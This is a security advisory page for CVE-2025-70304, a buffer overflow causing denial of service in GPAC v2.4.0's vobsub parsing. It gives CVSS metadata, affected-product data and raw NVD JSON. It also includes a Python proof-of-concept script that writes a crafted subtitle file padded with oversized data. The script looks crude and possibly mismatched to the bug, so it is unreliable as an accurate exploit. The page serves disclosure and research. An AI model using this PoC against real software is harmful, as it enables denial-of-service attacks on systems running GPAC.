Security Vulnerability Report
中文
CVE-2025-70304 CVSS 7.5 HIGH

CVE-2025-70304

Published: 2026-01-15 17:16:06
Last Modified: 2026-01-23 17:36:45

Description

A buffer overflow in the vobsub_get_subpic_duration() function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted packet.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:* - VULNERABLE
GPAC v2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-70304 PoC - GPAC vobsub buffer overflow This PoC generates a malicious vobsub file that triggers buffer overflow in vobsub_get_subpic_duration() function. """ import struct import sys def create_malicious_vobsub(): """ Create a malicious vobsub file that triggers buffer overflow in GPAC's vobsub_get_subpic_duration() function. """ # VobSub header header = b'# VobSub index file\n' header += b'# Created by PoC for CVE-2025-70304\n\n' # Malformed timestamp with oversized duration value # This triggers buffer overflow in vobsub_get_subpic_duration() malicious_timestamp = b'0:00:00:00\n' # Create oversized duration data to trigger overflow # The function doesn't properly validate duration field length overflow_data = b'A' * 10000 # Oversized data # Crafted packet structure that triggers the vulnerability poc_data = header + malicious_timestamp + overflow_data return poc_data def main(): print("[*] CVE-2025-70304 GPAC vobsub Buffer Overflow PoC") print("[*] Target: GPAC v2.4.0") print("[*] Function: vobsub_get_subpic_duration()") poc_data = create_malicious_vobsub() output_file = "CVE-2025-70304_poc.vob" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("[+] To trigger: Open this file with GPAC-based application") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70304", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:05.810", "lastModified": "2026-01-23T17:36:45.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow in the vobsub_get_subpic_duration() function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted packet."}, {"lang": "es", "value": "Un desbordamiento de búfer en la función vobsub_get_subpic_duration() de GPAC v2.4.0 permite a los atacantes causar una Denegación de Servicio (DoS) mediante un paquete manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/gpac_vobsub/GPAC_vobsub.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}